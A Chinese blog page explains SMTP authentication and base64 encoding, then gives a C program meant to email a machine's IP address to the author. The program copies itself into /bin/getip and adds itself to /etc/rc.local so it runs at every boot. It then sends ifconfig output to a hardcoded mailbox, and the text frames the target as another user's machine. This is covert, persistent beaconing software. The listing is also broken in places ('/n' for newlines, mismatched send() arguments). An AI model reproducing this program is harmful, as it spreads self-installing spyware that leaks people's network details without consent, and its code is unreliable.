linux下发送email的c语言代码

怎么让Linux发邮件? Linux怎么发email 相比大家也想让自己的Linux备份啊什么的存储起来  放到哪里最安全呢  相比来说放到自己QQ邮箱比放到自己电脑更安全一些 我们今天就来做一个实验 让你的Linux发邮件到你的mail中 我们今天需要一个软件(mailx)直接yum装即可: yum install -y mailx   然后我们创建一个隐藏文件 类似.sh  随便一个就好   vi /email.sh 然... 阅读详情
现在很多用户都是自动获取ip,而不是固定不变的,现在作个简单的
程序,在他每次上网后,把他的ip自动发给我指定的email。
  实现很简单(当然,前提是你有相应的权限,:D),通过调用system(),把
程序路径放到/etc/rc.local里,以便每次启动调用。利用ifconfig获取ip,
并写到一个临时文件,然后读文件内容到缓冲区,作为email正文发送到指定的email。
    以163.com的smtp服务器为例,现在的smtp服务器都加入了验证功能(不同服务器
验证的方式是不同的,sina的验证就不同,具体的验证方式没有研究),通讯的过程是
这样的:
[root@localhost root]# telnet smtp.163.com 25
Trying 202.108.44.170...
Connected to smtp.163.com.
Escape character is '^]'.
220 Coremail SMTP(Anti Spam) System (163com[20030606])
ehlo smtp.163.com
250-192.168.1.170
250-PIPELINING
250-AUTH LOGIN PLAIN NTLM
250-AUTH=LOGIN PLAIN NTLM
250 8BITMIME
auth login
334 VXNlcm5hbWU6
xxxxxx(base64编码过的用户名)
334 UGFzc3dvcmQ6
xxxxx(base64编码过的密码)
235 Authentication successful
mail from:gyfxlt8.go@163.com
250 Ok
rcpt to:gymiles@sohu.com
250 Ok
data
354 End data with <CR><LF>.<CR><LF>
test
.
250 Ok: queued as IMA5dQQvoEEGyE4C.1
quit
221 Bye
Connection closed by foreign host.



smtp server返回值表
-----------------------------------------------
500    邮箱地址错误
501    参数格式错误
502    命令不可实现
503    服务器需要SMTP验证
504    命令参数不可实现
421    服务未就绪,关闭传输信道
450    要求的邮件操作未完成,邮箱不可用(例如,邮箱忙)
550    要求的邮件操作未完成,邮箱不可用(例如,邮箱未找到,或不可访问)
451    放弃要求的操作;处理过程中出错
551    用户非本地,请尝试<forward-path>
452    系统存储不足,要求的操作未执行
552    过量的存储分配,要求的操作未执行
553    邮箱名不可用,要求的操作未执行(例如邮箱格式错误)
432    需要一个密码转换
534    认证机制过于简单
538    当前请求的认证机制需要加密
454    临时认证失败
530    需要认证

220    服务就绪
250    要求的邮件操作完成
251    用户非本地,将转发向<forward-path>
354    开始邮件输入,以<enter>.<enter>结束
221    服务关闭传输信道
334    服务器响应验证Base64字符串
235    验证成功
---------------------------------------------------

    过程很明显了,再简单说说base64编码方式:
    可以将字符串3个3个的分开(不足的编码后以'='补),我们知道每个字符8位,
这样,3个字符就是24位,base64编码将这3个字符(24位),6位6位的分开,分成4个字符,
再将这4个字符的ascii码值与下面的表比较,取出相应的字符,就是编码后的最终字符。
例如:abc这3个字符,编码前是这样的:
0110 0001    0110 0010      01100011
现在6位6位的重组:
011000    010110    001001    100011
得到的字符为:
00011000    00010110    00001001    00100011
ascii码值分别为:24    22    9    35
对照下面表,得出编码后的字符:YWJj
从程序的思路来看就是:
1。a>>2
2.(a&0x03)<<4  | (b>>4)
3.(b&0x0f)<<4 | (c>>6)
4.c&0x3f
然后将得到的值对照下表就可得出编码后的字符,具体实现见代码。
Base64编码转换表(摘自RFC2045)
--------------------------------------------------
                        Table 1: The Base64 Alphabet

      value Encoding  value Encoding  value Encoding  value Encoding
          0 A            17 R            34 i            51 z
          1 B            18 S            35 j            52 0
          2 C            19 T            36 k            53 1
          3 D            20 U            37 l            54 2
          4 E            21 V            38 m            55 3
          5 F            22 W            39 n            56 4
          6 G            23 X            40 o            57 5
          7 H            24 Y            41 p            58 6
          8 I            25 Z            42 q            59 7
          9 J            26 a            43 r            60 8
          10 K            27 b            44 s            61 9
          11 L            28 c            45 t            62 +
          12 M            29 d            46 u            63 /
          13 N            30 e            47 v
          14 O            31 f            48 w        (pad) =
          15 P            32 g            49 x
          16 Q            33 h            50 y
---------------------------------------------------

本代码在thizlinux7.0下测试通过
/*--------------------------------------
code by sink ( gymiles@sohu.com)
------------------------------------*/

#include <netinet/in.h>//include socket
#include <sys/socket.h>
#include <stdio.h>//include fopen(),fread().fwrite(),fclose()
#include <stdlib.h>//include system()
#include <netdb.h>//include gethostbyname()

#define  PORT    25 //smtp port
#define  SIZE      1024
//define mail commands
#define  EHLO      0
#define  AUTH      1
#define  USER      2
#define  PASS      3
#define  MAIL      4
#define  RCPT      5
#define  DATA      6
#define  CONT      7
#define  QUIT      8

void base64enc(const char *,char *);

int main(int argc,char *argv[])
{
int                        sockfd;
struct sockaddr_in        server_addr;
struct hostent            *server_ip;
int                        numbytes=0,i=0;
char                      username[512]="";//mail username
char                      passwd[512]="";//mail passwd

//buff store data by recv(),
//ip[SIZE] store data by fread() from ip_files(use "ifconfig >tmp.ip",het ip_files)
char                      buff[512]="",tmp[4]="",ip[SIZE]="";
int                        ret=0;//function return
FILE                      *f_open,*f_write;
char                      *msg[9]={""};
char                      *n_return[9]={""}; //return number

msg[EHLO]="ehlo smtp.163.com/n";
msg[AUTH]="auth login/n";
base64enc("your name",username);
strcat(username,"/n");
msg[USER]=username;
base64enc("your passwd",passwd);
strcat(passwd,"/n");
msg[PASS]=passwd;
msg[MAIL]="mail from:xxxxx@163.com/n";
msg[RCPT]="rcpt to:xxxxx@sohu.com/n";
msg[DATA]="data/n";
msg[QUIT]="quit/n";

n_return[EHLO]="250";
n_return[AUTH]="334";
n_return[USER]="334";
n_return[PASS]="235";
n_return[MAIL]="250";
n_return[RCPT]="250";
n_return[DATA]="354";
n_return[CONT]="250";


       
/*---------------------------
copy self to /bin/getip
---------------------------*/
if(strcmp(argv[0],"/bin/getip")!=0)// if file /bin/getip is not existed,copy to it
{
    if((f_open=fopen(argv[0],"rb")) ==NULL)//open self
              {
            perror("fopen argv[0] error");
            return(-1);
              }
       
    if((f_write=fopen("/bin/getip","wb")) ==NULL)//open the file which we will write to
              {
          perror("fopen /bin/getip error");
          return(-1);
              } 
    while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect file
              {       
            if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to /bin/getip
                      {
                  perror("fwrite error");
                  return(-1);
                      }
              }
   
  fclose(f_open);//close all files we have opened
  fclose(f_write);
 
  //chmod 755 /bin/getip
  if((ret=system("chmod 755 /bin/getip"))==-1)
        {
        perror("system error");
        return(-1);
          }

  //call system("echo /bin/getip >>/etc/rc.local")
  if((ret=system("echo '/bin/getip &' >>/etc/rc.local"))==-1)
        {
        perror("system error");
        return(-1);
          }
  }

/*---------------------------
get ip,use system() call ifconfig>tmp.ip
---------------------------*/
if((ret=system("ifconfig >/tmp/tmp.ip"))==-1)
      {
      perror("system error");
      return(-1);
        }
     
    /*-----------------------------
    read from tmp.ip,add it to msg[CONT]
    -----------------------------*/
    if((f_open=fopen("/tmp/tmp.ip","r")) ==NULL)//open /tmp/tmp.ip
        {
      perror("fopen error");
      return(-1);
        }
       

i=0;
while((fread(&ip ,1,1,f_open)) !=-1)//read from tmp.ip
          {
          i++;
          if(i>SIZE)//if file is large than SIZE,only read SIZE bytes
            break;
          }
strncat(ip,"/n./n",3);//cat "/n./n" to data
msg[CONT]=ip; 
fclose(f_open);

 
/*-----------------------------
rm tmp file
------------------------------*/
if((ret=system("rm -rf /tmp/tmp.ip"))==-1)
      {
      perror("system error");
      return(-1);
        }
       

/*------------------------------
connect server,and send command
------------------------------*/
//because the host connect to internet by dail,
//so,it is possiabe that host  have not connected when it start
//then we sleep 5 miniutes,and try again until the host connect to internet
//we know the connection status by gethostbyname(),but this way is not always correct
while((server_ip=gethostbyname("smtp.163.com"))==NULL)
    {
        herror("gethostbyname error");
      sleep(300);
    }
//create a socket
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
    {
    perror("socket error");
    return(-1);
    }
    //address information
server_addr.sin_family=AF_INET;//host byte order
server_addr.sin_port=htons(PORT);//short,network byte order
server_addr.sin_addr=*((struct in_addr *)server_ip->h_addr);//server ip
bzero(&(server_addr.sin_zero),8);//zero the rest of struct
    //connect server
if(connect(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr))==-1)
  {
    perror("connect error");
    return(-1);
  }
    //if connect success,server return "220"
    if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
  {
    perror("recv error");
    return(-1);
  }
    //clean tmp
    for(i=0;i<4;i++)
        tmp='/0';
    strncpy(tmp,buff,3);
if(strcmp(tmp,"220")!=0)
          return (-1);
   
//send msgs. if any step has a mistake,the "while" will be breaked,then send "quit" to end connection 
    i=EHLO;
while(i<QUIT)
  {
      if((numbytes=send(sockfd,msg,strlen(msg),0))==-1)
        {
        perror("send error");
        break;
        }
      //sleep(1);we dont have to use it,because recv() can choke itself until it received data
      if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
        {
        perror("recv error");
        break;
        }
      strncpy(tmp,buff,3);
     
      //printf("command:%s/n",msg);
      //printf("return buff:%s/n",buff);
      //printf("should return:%s/n",n_return);
       
      if(strcmp(tmp,n_return)==0)
              i++;
      else
              break;
             
  }


  //send quit to end mail connection
  if((numbytes=send(sockfd,msg[QUIT],strlen(msg[QUIT]),0))==-1)
    {
    perror("send error");
    return(-1);
    }


  close(sockfd);
  return (0);
}

/*-------------------------
base64 encode function
-------------------------*/
void base64enc(const char *instr,char *outstr)
{
    char *                table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    int                    instr_len=0,i=0,j=0,pad=0;
    unsigned char          buf1[4]="",buf2[4]="";
 
    instr_len=strlen(instr);
    pad=instr_len%3;
    for(i=0;i<instr_len;i+=3)
        {
        if(i==instr_len-pad)
                  strncpy(buf1,&instr,pad);
            else
              strncpy(buf1,&instr,3);
 
        buf2[0] = buf1[0] >> 2;
            buf2[1] = (buf1[0] & 0x03) << 4 | buf1[1] >> 4;
            buf2[2] = (buf1[1] & 0x0f) << 2 | buf1[2] >> 6;
            buf2[3] = buf1[2] & 0x3f;
            for(j=0;j<4;j++)
                  buf2[j]=table[buf2[j]];
             
        if(i==instr_len-pad)
              for(j=3;j>pad;j--)
                    buf2[j]='=';
       
        strncat(outstr,buf2,4);
      }
 
} 
 
记一次jenkins发送邮件报错 一直报错 Could not send email as a part of the post-build publishers问题 Python微信订餐小程序课程视频 https://blog.youkuaiyun.com/m0_56069948/article/details/122285951 Python实战量化交易理财系统 https://blog.youkuaiyun.com/m0_56069948/article/details/122285941 写在前面 虽然Jenkins是开源、免费的,好处很多,但有些功能上的使用,我个人还是很不喜欢,感觉用起来特别麻烦、繁琐。 为什么? 就拿这个邮件配置来说吧,因重装系统,电脑需要配置很多东西,结果今天就自 阅读详情

相关推荐

纯C代码在Linux实现邮件发送

使用纯C代码Linux下的实现!

C语言Linux实现SMTP发邮件(SSL协议)

C语言实现SMTP发邮件(SSL协议)这里作者采用OpenSSL来发送和解析SSL协议,并实验SMTP发邮件以网易云smtp.163.com为例。

sthudy的博客 1334

linux C 发送邮件

linux操作系统下,C语言发送和接收邮件。运行时,将接收人和发件人邮箱改为需要的邮箱,将SMTP服务器地址改为相应的服务器地址即可。

linux c++ 发送邮件,从Linux中的C/C++程序发送电子邮件

您可以使用popen()直接调用您的本地MTA,并提供符合RFC822的文本.#include #include #include int sendmail(const char *to, const char *from, const char *subject, const char *message){int retval = -1;FILE *mailpipe = popen("/usr/...

weixin_29443363的博客 1283

Linux 用 C实现的邮件发送程序

改程序用c语言在linux环境下编写,成功发送邮件。

Linux系统下发送Email的C语言代码

本文为大家介绍如何在Linux系统下发送Email的C语言代码。

[源码和文档分享]基于C语言和TCP Socket实现的Linux环境下的邮件收发客户端程序...

一、项目题目及功能 项目题目:设计一个邮件收发客户端程序 功能:设置邮件账户、接收服务器和发送服务器等 接收邮件并显示在一个列表里 编写、发送新邮件 可暂不考虑邮件内容的编码/解码问题 删除邮件 邮件标记:已读、未读 注:参照outlook express、foxmail、...

qq_38474647的博客 535

Eigen 直线拟合/曲线拟合/圆拟合/椭圆拟合

使用Eigen库进行直线拟合是数据分析和科学计算中的常见任务,主要通过最小二乘法实现。该代码演示了二维空间中的直线拟合,输出斜率和截距。

深之JohnChen的专栏 1602

linux下用C编写的基于smtp的邮件发送程序【转】

smtp协议原理:http://blog.youkuaiyun.com/woshinia/article/details/8994833 我的webf服务器是动态ip,因此需要检测服务器ip的变化然后更新域名的ip,打算检测到ip变化后自动发送邮件告知自己,于是上网搜了下编程发送邮件的方法,大部分是基于vc的,我找了个例子修改成了linux下的程序。这个程序是基于smtp协议的,smtp是基...

adwapfg6781的博客 943

Scratch 3.0角色控制避坑指南:为什么你的键盘移动总卡顿?

本文深入剖析了Scratch 3.0中角色移动卡顿的根本原因,指出依赖`当按下`事件积木的局限性。通过对比分析,推荐采用`重复执行`结合`如果<键被按下?>`的循环控制方案,并引入速度变量模拟惯性,从而实现流畅、实时的键盘控制优化,显著提升游戏操作体验。

dd012的博客 1016

MIT 6.824分布式 LAB4A:ShardCtrler

lab 4要求实现一个使用raft共识算法的分片存储系统。而在lab 4a中,我们仅需实现分片控制器的功能。lab4中的分片存储系统有多个分片,这些数据分布在众多分片上,而每个分片都对应着一个集群组,可能一个集群组负责多个分片,一个集群组内的所有服务器都会使用raft共识算法进行状态的复制。而本实验的重点为分片控制器,主要负责的工作是对集群组和分片之间关系的管理,我们仅需在/src/shardctrler文件夹中对client.go,server.go,common.go这三个文件进行修改即可。注意事项(实

MarksSa的博客 832

linux 发送邮件 c语言,Linux系统下发送Email的C语言代码

Linux系统下发送Email的C语言代码作者:小涵 | 来源:互联网 | 2017-08-07 12:08阅读: 6540Linux系统下发送Email的C语言代码--Linux通用技术-Linux编程与内核信息,下面是详情阅读。现在很多用户都是自动获取ip,而不是固定不变的,现在作个简单的程序,在他每次上网后,把他的ip自动发给我指定的email。实现很简单(当然,前提是你有相应的权限,:D)...

weixin_33410880的博客 935

Word | 简单可操作的快捷公式编号、右对齐和引用方法

在理工科论文的写作中,涉及到大量的公式输入,我们希望能够按照章节为公式进行编号,并且实现公式居中,编号右对齐的效果。网上有各种各样的方法来实现,操作繁琐和简单的混在一起,让没有接触过公式编号的人感觉比较混乱。笔者自己博览相关博客,亲身实践,总结出一套自认为比较简便的公式编号、对齐和引用方法,在这里分享给大家~

qq_43466146的博客 3万+

linux发代码,Linux系统下发送Email的C语言代码

本代码在thizlinux7.0下测试通过code by sink (gymiles@sohu.com)#include //include socket#include#include //include fopen(),fread().fwrite(),fclose()#include //include system()#include //include gethostbyname()#d...

weixin_39937412的博客 720

【知识点总结】电路原理 第一讲

大家好,从今天起,我将开始更新自上大学以来所学到的各种知识,之所以选择更新它们是因为最近我一直在收拾整理自己自上大学以来所收获到的各种知识,看着那厚厚一沓的书本心里不由得犯愁。如果我想找到特定的知识,那岂不是得翻到猴年马月。俗话说得好,下雨天打鞋子,闲着也是闲着,为此我设置一个专栏,将知识点一一分类总结,目的在于更好的整理所学的知识。本人学艺不精,有一些知识点地方可能存在瑕疵,希望各位大佬可以多多指教。以下是本篇文章正文内容虚断:一般通用性运算放大器的正反向输入端之间的电阻非常非常的大。

weixin_51130221的博客 4万+

SAP 银企直连实战:从零构建 DMEEX 格式树的配置与调试指南

本文详细介绍了SAP银企直连中DMEEX格式树的配置与调试方法,涵盖从基础认知到实战技巧的全流程。通过具体案例解析,帮助财务顾问快速掌握建设银行付款报文的格式树搭建、字段映射及调试优化,提升企业支付效率与准确性。

weixin_42526015的博客 567

linux下发送email的c语言代码(转)

linux下发送email的c语言代码(转)[@more@]现在很多用户都是自动获取ip,而不是固定不变的,现在作个简单的程序,在他每次上网后,把他的ip自动发给我指定的email。实现很简单(当然,前提是你有相应的权限,:D)...

1076

在 SAP 系统中,成本中心(Cost Center)是成本核算与费用管控的基础组织单元,其设计质量直接决定了后续成本归集、分摊、分析及责任考核的准确性

SAP系统成本中心设计核心要点:1. 设计原则包括责任可控、业务同质、核算颗粒度适配、组织对齐及稳定性平衡;2. 划分维度主要有部门、功能、地域、项目和资产5类,可组合使用;3. 需避免颗粒度过细、跨责任主体归集等常见误区;4. 建议采用"明确目标-梳理业务-设计编码"三步法,建立科学的成本中心体系。合理的成本中心设计能精准归集费用、明确责任主体,为成本分析和管控奠定基础。

金牌架构师 1444

基于jwSMTP的C++发送Email的Demo

由于业务上存在发送报警邮件的需求,一直想找一个简单易用的发送Email的C++库。 终于找到了,它就是jwSTMP(http://sourceforge.net/projects/jwsmtp/)。 最新的jwSTMP版本(1.32.15)能够跨平台(BSD、Linux和Windows等)的支持以C++代码或者C++库的形式编码发送Email。它可以发送附件、支持多个收件人(最

星空漫野 8710

120、NPU的Mythic M1076:模拟存算一体NPU

这篇文章分享了作者调试Mythic M1076模拟存算一体NPU的实战经验,主要包含以下要点: 硬件设计陷阱:参考电压输入必须使用低ESR电容,普通贴片电容会导致模拟计算阵列工作异常。 核心技术原理: 采用真正的存算一体架构,将权重存储为模拟电压 使用浮栅晶体管存储权重,通过电流叠加实现乘法运算 包含108个计算单元阵列(Tile),每个256×256规模 使用注意事项: 编程模型特殊,需要依赖SDK自动映射网络层 存在6-8位有效精度限制,需用量化感知训练 功耗特性独特,静态偏置电流占主要功耗 调试手段有

m0_50546716的博客 125

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

linux git 发邮件,在Linux中无法使用git send-email发送源代码和补丁

我在本地创建了一个目录:/ home / Tegra.我在/ home / Tegra中创建了以下文件:hello_world.c hello_world_1.c hello_world_2.c每个文件都是逐步修改的.我还创建了补丁:diff -u hello_world.c hello_world_1.c > hello_world_1.patchdiff -u hello_world_1...

weixin_34117129的博客 1707

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

linux下git命令生成补丁,linux – 无法使用git send-email发送源代码和补丁

我在本地创建了一个目录:/ home / Tegra.我在/ home / Tegra中创建了以下文件:hello_world.c hello_world_1.c hello_world_2.c每个文件都是逐步修改的.我还创建了补丁:diff -u hello_world.c hello_world_1.c > hello_world_1.patchdiff -u hello_world_1...

weixin_39921504的博客 220

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

关于如何在Linux定时发送邮件

关于如何在Linux定时发送邮件 之前测试了一次在Linux中定时发送邮件的设置,在这记录一下(本文使用163邮箱) 步骤: 注意:发送邮件的服务器需要有外网 1. 准备一个邮箱,163,QQ等,并且开启smtp。 2. 获取到邮箱到授权码,类似于 "abcdefghijklmnop"。(不包含引号) 这两个步骤如果手机端登录过邮箱的应该已经设置过了,因为不设置的话是无法登录客户端的。 3....

weixin_38073361的博客 1861

linux git查看email,[Linux] git send-email的使用

http://www.cnblogs.com/0616--ataozhijia/p/3830698.html1. git send-email is included in an individual package, named "git-email":$ sudo apt-get install git-email2. Configure the SMTP server info after ...

weixin_29763721的博客 560
上一篇: Windows XP 核心驱动 secdrv.sys 本地权限提升漏洞
下一篇: Base64编码算法
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值